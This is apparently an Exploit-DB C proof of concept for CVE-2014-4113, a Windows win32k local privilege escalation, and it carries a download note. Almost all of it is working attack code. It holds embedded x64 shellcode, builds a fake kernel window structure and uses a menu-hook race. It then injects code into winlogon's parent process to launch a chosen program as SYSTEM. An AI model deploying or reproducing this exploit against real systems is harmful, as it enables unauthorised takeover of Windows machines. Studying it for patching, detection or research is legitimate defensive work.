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#include "hd.h" // EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46945.rar byte __s_code[]={ 0x48 ,0x8B ,0xC4 ,0x48 ,0x89 ,0x58 ,0x08 ,0x48 ,0x89 ,0x68 ,0x20 ,0x56 ,0x57 ,0x41 ,0x56 ,0x48 , 0x81 ,0xEC ,0xE0 ,0x00 ,0x00 ,0x00 ,0x45 ,0x33 ,0xF6 ,0x49 ,0x89 ,0xCB ,0x4C ,0x89 ,0x70 ,0x18 , 0x4C ,0x89 ,0x70 ,0x10 ,0x90 ,0x65 ,0x48 ,0x8B ,0x04 ,0x25 ,0x30 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8B , 0x40 ,0x60 ,0x90 ,0x90 ,0x90 ,0x90 ,0x48 ,0x8B ,0x78 ,0x18 ,0x48 ,0x8B ,0x47 ,0x10 ,0x48 ,0x83 , 0xC7 ,0x10 ,0x48 ,0x3B ,0xC7 ,0x0F ,0x84 ,0x99 ,0x01 ,0x00 ,0x00 ,0x48 ,0xBB ,0x65 ,0x00 ,0x6C , 0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x48 ,0xBE ,0x2E ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x6C ,0x00 ,0x49 , 0xBA ,0x6B ,0x00 ,0x65 ,0x00 ,0x72 ,0x00 ,0x6E ,0x00 ,0x48 ,0xBD ,0x4B ,0x00 ,0x45 ,0x00 ,0x52 , 0x00 ,0x4E ,0x00 ,0x49 ,0xB8 ,0x45 ,0x00 ,0x4C ,0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x49 ,0xB9 ,0x2E , 0x00 ,0x44 ,0x00 ,0x4C ,0x00 ,0x4C ,0x00 ,0x66 ,0x0F ,0x1F ,0x84 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 , 0x66 ,0x83 ,0x78 ,0x58 ,0x18 ,0x48 ,0x8B ,0x48 ,0x60 ,0x72 ,0x25 ,0x48 ,0x8B ,0x11 ,0x49 ,0x3B , 0xD2 ,0x75 ,0x0C ,0x48 ,0x39 ,0x59 ,0x08 ,0x75 ,0x06 ,0x48 ,0x39 ,0x71 ,0x10 ,0x74 ,0x1E ,0x48 , 0x3B ,0xD5 ,0x75 ,0x0C ,0x4C ,0x39 ,0x41 ,0x08 ,0x75 ,0x06 ,0x4C ,0x39 ,0x49 ,0x10 ,0x74 ,0x0D , 0x48 ,0x8B ,0x00 ,0x48 ,0x3B ,0xC7 ,0x75 ,0xC8 ,0xE9 ,0x17 ,0x01 ,0x00 ,0x00 ,0x48 ,0x8B ,0x78 , 0x30 ,0x48 ,0x85 ,0xFF ,0x0F ,0x84 ,0x0A ,0x01 ,0x00 ,0x00 ,0x48 ,0x63 ,0x47 ,0x3C ,0xB9 ,0x4D , 0x5A ,0x00 ,0x00 ,0x66 ,0x39 ,0x0F ,0x0F ,0x85 ,0xF8 ,0x00 ,0x00 ,0x00 ,0x81 ,0x3C ,0x38 ,0x50 , 0x45 ,0x00 ,0x00 ,0x0F ,0x85 ,0xEB ,0x00 ,0x00 ,0x00 ,0x44 ,0x8B ,0x8C ,0x38 ,0x88 ,0x00 ,0x00 , 0x00 ,0x49 ,0x8B ,0xD6 ,0x4C ,0x03 ,0xCF ,0x45 ,0x8B ,0x41 ,0x20 ,0x41 ,0x8B ,0x49 ,0x18 ,0x4C , 0x03 ,0xC7 ,0x48 ,0x85 ,0xC9 ,0x74 ,0x32 ,0x48 ,0xBB ,0x43 ,0x72 ,0x65 ,0x61 ,0x74 ,0x65 ,0x50 , 0x72 ,0x49 ,0xBA ,0x72 ,0x6F ,0x63 ,0x65 ,0x73 ,0x73 ,0x41 ,0x00 ,0x0F ,0x1F ,0x44 ,0x00 ,0x00 , 0x41 ,0x8B ,0x04 ,0x90 ,0x48 ,0x39 ,0x1C ,0x38 ,0x75 ,0x07 ,0x4C ,0x39 ,0x54 ,0x38 ,0x07 ,0x74 , 0x08 ,0x48 ,0xFF ,0xC2 ,0x48 ,0x3B ,0xD1 ,0x72 ,0xE7 ,0x33 ,0xC0 ,0x48 ,0x3B ,0xD1 ,0x0F ,0x83 , 0x92 ,0x00 ,0x00 ,0x00 ,0x41 ,0x8B ,0x49 ,0x24 ,0x45 ,0x33 ,0xC0 ,0x48 ,0x03 ,0xCF ,0x0F ,0xB7 , 0x14 ,0x51 ,0x41 ,0x8B ,0x49 ,0x1C ,0x45 ,0x33 ,0xC9 ,0x48 ,0x03 ,0xCF ,0x44 ,0x8B ,0x14 ,0x91 , 0x48 ,0x89 ,0x44 ,0x24 ,0x58 ,0x48 ,0x89 ,0x44 ,0x24 ,0x60 ,0x4C ,0x03 ,0xD7 ,0x48 ,0x8D ,0x7C , 0x24 ,0x70 ,0xB9 ,0x68 ,0x00 ,0x00 ,0x00 ,0xF3 ,0xAA ,0xB8 ,0x05 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B , 0xD3 ,0x66 ,0x89 ,0x84 ,0x24 ,0xB0 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8D ,0x44 ,0x24 ,0x50 ,0x33 ,0xC9 , 0x48 ,0x89 ,0x44 ,0x24 ,0x48 ,0x48 ,0x8D ,0x44 ,0x24 ,0x70 ,0x4C ,0x89 ,0x74 ,0x24 ,0x50 ,0x48 , 0x89 ,0x44 ,0x24 ,0x40 ,0x4C ,0x89 ,0x74 ,0x24 ,0x38 ,0x4C ,0x89 ,0x74 ,0x24 ,0x30 ,0xC7 ,0x44 , 0x24 ,0x28 ,0x10 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x70 ,0x68 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x84 , 0x24 ,0xAC ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x20 ,0x01 ,0x00 ,0x00 , 0x00 ,0x41 ,0xFF ,0xD2 ,0x33 ,0xC0 ,0x4C ,0x8D ,0x9C ,0x24 ,0xE0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B , 0x5B ,0x20 ,0x49 ,0x8B ,0x6B ,0x38 ,0x49 ,0x8B ,0xE3 ,0x41 ,0x5E ,0x5F ,0x5E ,0xC3 }; HMENU __init_menu( ) { HMENU hMenu_Ret=NULL; MENUITEMINFO mItem={0}; do { HMENU hme=CreatePopupMenu(); if (hme==NULL){ printf("CreatePopupMenu()_1 fail:0x%x\n" ,GetLastError()); break; } mItem.cbSize=sizeof(MENUITEMINFO); mItem.fMask=(MIIM_STRING); bool bisok=InsertMenuItem(hme ,0 ,1 ,&mItem); if (bisok==false){ printf("InsertMenuItem()_1 fail:0x%x\n" ,GetLastError()); break; } hMenu_Ret=CreatePopupMenu(); if (hMenu_Ret==NULL){ printf("CreatePopupMenu()_2 fail:0x%x\n" ,GetLastError()); break; } MENUITEMINFO mi={0}; mi.cbSize=sizeof(mi); mi.fMask=(MIIM_STRING|MIIM_SUBMENU); mi.hSubMenu=hme; mi.dwTypeData=""; mi.cch=1; bisok=InsertMenuItem(hMenu_Ret ,0 ,1 ,&mi); if (bisok==false){ printf("InsertMenuItem()_2 fail: 0x%x\n" ,GetLastError()); } } while (false); return hMenu_Ret; } PVOID __calc_sep_token_addr( ) { NTSTATUS status; PSYSTEM_HANDLE_INFORMATION handleInfo=NULL; ULONGLONG handleInfoSize = 0x10000 ,i ,ret_obj_addr=NULL; do { _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDuplicateObject"); _NtQueryObject NtQueryObject = (_NtQueryObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryObject"); if (!NtQuerySystemInformation || !NtDuplicateObject || !NtQueryObject){ printf("get sys proc failed!\n"); break; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation,handleInfo, handleInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); if (!NT_SUCCESS(status)){ printf("NtQuerySystemInformation failed!\n"); break; } POBJECT_TYPE_INFORMATION objectTypeInfo=(POBJECT_TYPE_INFORMATION)malloc(0x1000); for (i = 0; i < handleInfo->HandleCount; i++) { SYSTEM_HANDLE handle = handleInfo->Handles[i]; if (handle.ProcessId != GetCurrentProcessId()) continue; if (!NT_SUCCESS(NtQueryObject( (HANDLE)handle.Handle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ))) { printf("[%#x] Error!\n", handle.Handle); continue; } if (objectTypeInfo->Name.Buffer==NULL || objectTypeInfo->Name.Length==0) continue; if (wcscmp(objectTypeInfo->Name.Buffer ,L"Token")) continue; ret_obj_addr=((ULONGLONG)handle.Object+0x40); } if (objectTypeInfo) free(objectTypeInfo); if (handleInfo) free(handleInfo); } while (false); return (PVOID)ret_obj_addr; } ULONGLONG __calc_pid( ) { NTSTATUS status; PSYSTEM_PROCESS_INFORMATION PsInfo=NULL; ULONGLONG PsInfoSize = 0x10000 ,ret_pid=NULL; do { _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation){ printf("get sys proc failed!\n"); break; } PsInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(PsInfoSize); while ((status = NtQuerySystemInformation(SystemProcessesAndThreadsInformation,PsInfo, PsInfoSize ,NULL)) == STATUS_INFO_LENGTH_MISMATCH) PsInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(PsInfo, PsInfoSize*= 2); if (!NT_SUCCESS(status)){ printf("NtQuerySystemInformation failed!\n"); break; } for (;PsInfo->NextEntryDelta ;PsInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONGLONG)PsInfo + PsInfo->NextEntryDelta)) { if (PsInfo->ProcessName.Buffer==NULL || PsInfo->ProcessName.Length==0) continue; if (!wcscmp(PsInfo->ProcessName.Buffer ,L"winlogon.exe")){ ret_pid=PsInfo->InheritedFromProcessId; break; } } } while (false); return ret_pid; } ULONGLONG __init_fake_wnd_pti( ) { ULONGLONG ret_pti=NULL; ULONGLONG dst_proc_addr=NULL; do { ret_pti=(ULONGLONG)malloc(0x500); if (ret_pti==NULL){ printf("malloc fail!\n"); return NULL; } *(ULONGLONG*)(ret_pti+_oft_win32ps_pti)=0;//Win32Process *(DWORD*)(ret_pti+_oft_0420h_pti)=0; //not 0x20 *(ULONGLONG*)(ret_pti+_oft_list_header_pti)=(ULONGLONG)__calc_sep_token_addr()-0x5;//TODO: void* tmpbuf=malloc(0x100); memset(tmpbuf ,0 ,0x100); *(ULONGLONG*)(ret_pti+_oft_0188h_pti)=(ULONGLONG)tmpbuf; //buf addr(size >= 0x12) ,check in win32k!SetWakeBit } while (false); return ret_pti; } bool __init_fake_tagWnd( ) { bool bRet=false; _ZwAllocateVirtualMemory_pt pfn_ZwAllocateVm=NULL; do { HMODULE hmd=LoadLibrary("ntdll.dll"); if (hmd==NULL) break; ULONGLONG fake_tagwnd_pti=__init_fake_wnd_pti(); if (fake_tagwnd_pti==NULL){ printf("__calc_wnd_pti() fail!\n"); break; } pfn_ZwAllocateVm=(_ZwAllocateVirtualMemory_pt)GetProcAddress(hmd ,"ZwAllocateVirtualMemory"); if (pfn_ZwAllocateVm==NULL){ printf("pfn ZwAllocateVirtualMemery addr is NULL!\n"); break; } BYTE* fake_tagWnd_addr=(BYTE*)0xFFFFFFFB; size_t region_size=0x20000; NTSTATUS status=pfn_ZwAllocateVm(GetCurrentProcess() ,(PVOID*)&fake_tagWnd_addr ,0 ,®ion_size, MEM_RESERVE | MEM_COMMIT|MEM_TOP_DOWN ,PAGE_EXECUTE_READWRITE); if (status < 0){ printf("Allocate fake tagWnd fail!\n"); break;; } ULONGLONG ul_align=0xFFFFFFFBLL-(ULONGLONG)fake_tagWnd_addr; if (ul_align > 0x10000){ printf("alloc fake fail: %x!\n" ,fake_tagWnd_addr); break; } memset(fake_tagWnd_addr+ul_align ,0 ,0x1000); *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_idx_tagWND)=0x0; *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_pti_tagWnd)=fake_tagwnd_pti; //oft 0x170 == win32process *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_18h_tagWnd)=0x0; //0 ,check in IsWindowDesktopComposed bRet=true; } while (false); return bRet; } LRESULT __stdcall __wh_wnd_proc( int code, WPARAM wparam, LPARAM lparam ) { do { CWPSTRUCT* lpm=(CWPSTRUCT*)lparam; if (lpm->message != MN_FINDWINDOWFROMPOINT || g_bis_mn_findwnded==true) break; g_bis_mn_findwnded=true; UnhookWindowsHook(WH_CALLWNDPROC ,__wh_wnd_proc); g_ori_wnd_proc=(WNDPROC)SetWindowLongPtr(lpm->hwnd ,GWLP_WNDPROC ,(LONG_PTR)__wnd_proc_sl); } while (false); return CallNextHookEx(g_hhk ,code ,wparam ,lparam); } LRESULT __wnd_proc_sl( HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam ) { do { if (umsg != MN_FINDWINDOWFROMPOINT ) break; if (g_bis_endmenu) break; g_bis_endmenu=1; EndMenu(); return 0xFFFFFFFB; } while (false); return CallWindowProc(g_ori_wnd_proc ,hwnd ,umsg ,wparam ,lparam); } LRESULT __stdcall __wnd_proc( HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam ) { if (umsg==WM_ENTERIDLE && g_bis_idled==FALSE) { g_bis_idled=TRUE; PostMessage(hwnd ,WM_KEYFIRST ,0x28 ,0); PostMessage(hwnd ,WM_KEYFIRST ,0X27 ,0); PostMessage(hwnd ,WM_LBUTTONDOWN ,0 ,0xff00ff); } return DefWindowProc(hwnd ,umsg ,wparam ,lparam); } DWORD __stdcall __thread_plroc( void*param ) { bool bisok=false; WNDCLASS wndcls={0}; do { wndcls.lpfnWndProc=__wnd_proc; wndcls.lpszClassName="cve_2014_4113"; RegisterClass(&wndcls); HWND hwnd=CreateWindowEx(0 ,wndcls.lpszClassName ,NULL ,0 ,0 ,0, 200 ,200 ,NULL ,NULL ,NULL ,NULL); if (hwnd==NULL){ printf("CreateWindowEx() fail: 0x%x\n" ,GetLastError()); break; } HMENU hmenu=__init_menu(); if (hmenu==NULL){ printf("__init_menu() fail: 0x%x\n" ,GetLastError()); break; } bool bisok=__init_fake_tagWnd(); if (bisok==false){ printf("__init_fake_tagWnd() fail:0x%x\n" ,GetLastError()); break; } g_hhk=SetWindowsHookEx(WH_CALLWNDPROC ,__wh_wnd_proc ,NULL ,GetCurrentThreadId()); if (g_hhk==NULL){ printf("SetWindowsHookEx() fail:0x%x\n" ,GetLastError()); break; } bisok=TrackPopupMenu(hmenu ,0 ,0x0FFFFD8F0 ,0x0FFFFD8F0 ,0 ,hwnd ,NULL); if (bisok==false){ printf("TrackPopupMenu() fail:0x%x\n" ,GetLastError()); break; } CloseHandle(hmenu); DestroyWindow(hwnd); } while (FALSE); return 0; } int main( int argc ,char** argv ) { bool bisok=false; do { if (argc != 2){ printf("usage: xxx fpath"); break; } HANDLE hProcessToken=NULL ,hRestrictedToken=NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) { printf("Could not open process token\n"); break; } if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)){ printf("Could not create restricted token\n"); break; } if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) { printf("Could not adjust privileges\n"); break; } CloseHandle(hProcessToken); HANDLE hthread=CreateThread(NULL ,0 ,__thread_plroc ,NULL ,0 ,NULL); if (hthread==NULL){ printf("CreateThread() fail: 0x%x\n" ,GetLastError()); break; } WaitForSingleObject(hthread ,1000); TerminateThread(hthread ,0); if (!ImpersonateLoggedOnUser(hRestrictedToken)){ printf("ImpersonateLoggedOnUser failed!\n"); break; } PVOID pfn_cps=GetProcAddress(LoadLibrary("Kernel32.dll") ,"CreateProcessA"); if (pfn_cps==NULL){ printf("GetProcess CreateProcessA failed!\n"); break; } ULONGLONG ul_pid_winlogon=__calc_pid(); if (ul_pid_winlogon==NULL){ printf("__calc_winlogon_pid failed!\n"); break; } HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS ,TRUE ,ul_pid_winlogon); if (hprocess==NULL){ printf("OpenProcess failed: %x\n" ,GetLastError()); break; } //init params PVOID params=VirtualAllocEx(hprocess ,NULL ,strlen(argv[1])+10 ,MEM_COMMIT ,PAGE_READWRITE); if (params==NULL){ printf("VirtualAllocEx failed:%x\n" ,GetLastError()); break; } ULONGLONG ul_ret_wrt=0; bisok=WriteProcessMemory(hprocess ,params ,argv[1] ,strlen(argv[1])+2 ,(SIZE_T*)&ul_ret_wrt); if (bisok==false || ul_ret_wrt < strlen(argv[1])+2){ printf("WriteProcessMemory() failed!\n"); break; } //init shellcode PVOID shellcode=VirtualAllocEx(hprocess ,NULL ,0x220 ,MEM_COMMIT ,PAGE_EXECUTE_READWRITE); if (shellcode==NULL){ printf("VirtualAllocEx failed:%x\n" ,GetLastError()); break; } bisok=WriteProcessMemory(hprocess ,shellcode ,__s_code ,sizeof(__s_code) ,(SIZE_T*)&ul_ret_wrt); if (bisok==false || ul_ret_wrt < sizeof(__s_code)){ printf("WriteProcessMemory() failed!\n"); break; } DWORD dw_tid=0; HANDLE htd_rmt=CreateRemoteThread(hprocess ,NULL ,0 ,(LPTHREAD_START_ROUTINE )shellcode ,params ,0 ,&dw_tid); if (htd_rmt==NULL){ printf("CreateRemoteThread() fail!\n"); break; } //clear CloseHandle(htd_rmt); CloseHandle(hprocess); CloseHandle(hRestrictedToken); } while (false); return 0; } |
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